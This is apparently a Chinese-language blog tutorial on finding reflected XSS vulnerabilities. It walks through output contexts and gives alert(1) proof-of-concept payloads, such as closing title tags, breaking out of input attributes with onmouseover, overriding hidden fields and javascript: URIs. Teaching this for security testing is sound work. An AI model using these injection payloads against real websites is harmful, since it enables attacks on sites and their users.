页首Html代码

03-XSS漏洞挖掘

一、反射型XSS漏洞挖掘

  通过之前的基础,我们都知道了反射型XSS漏洞主要出现url中,那么它的输出点是在哪里呢?常见的输出场景如下:

HTML标签之间,如:<div id="body">[输出]</div>
HTML标签之内,如:<input type="text" vule="[输出]" />
成为JavaScript值,如:<script>a="[输出];...."<script/>
成为CSS的值,如:<style>body{font-size:"输出"px;...}</style>

1.1 HTML标签之间

  最普通的场景就是出现在HTML标签之间<div id="body">[输出]</div>,那么我们直接提交

?id=1<script>alert(1)</script>

就可以触发XSS漏洞了。如果出现下面这些标签呢?

<title></title>
<textarea></textarea>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>

  如代码<title> <script>alert</script> </title>,会弹出框吗,答案是都不会的,上面的这些标签之间是无法解析脚本的。我们需要把payload改为如下的代码:

</title><script>alert(1)</script>

  除了闭合标签外,我们还可以利用它们自身可执行脚本的性质来构造特殊的payload。

 1.2 HTML标签之内

  最普通的输出常为<input type="text" vule="[输出]" />,要触发XSS漏洞,有以下两种方法:

"onmouseover=alert(1) x=" //这种属于闭合属性,使用on事件来触发脚本
"><script>alert(1)</script> //这种属于闭合属性,又闭合标签直接执行脚本

  下面继续看标签之内的各种场景如果出现下面的语句:

<input type="hidden" vule="输出" />

  此时我们只能闭合input标签,否则由于hidden属性,我们触发不了XSS的脚本,如果出现如下的语句,我们应该怎么触发呢?

<input vule="输出" type="hidden" />

  和上面的语句只是顺序不同而已,我们如何高效的payload的呢?语句如下:

1" onmouseover=alert(1) type="text
然后输出后为:
<input vule="1" onmouseover=alert(1) type="text" type="hidden" />

  这个时候输出再也不是一个隐藏的表单,而是一个标准的输入表单,只要把鼠标移过去即可触发XSS漏洞。

<a href="输出">click me</a> //输出在src href action等属性内
<a href="#" onclick="输出">click me</a>输出在on事件内的
<a href="#" style="输出">click me</a> 输出在style事件内的

1.3输出在src href action属性的

   除了各种闭合之外,我们还可以使用以下的语句来触发:

javascript:alert(1) //

  输出的结果为:

<a href="javascript:alert(1) //html">click me</a> 

  

posted @ 2021-08-20 14:26  与或非丶  阅读(167)  评论(0)    收藏  举报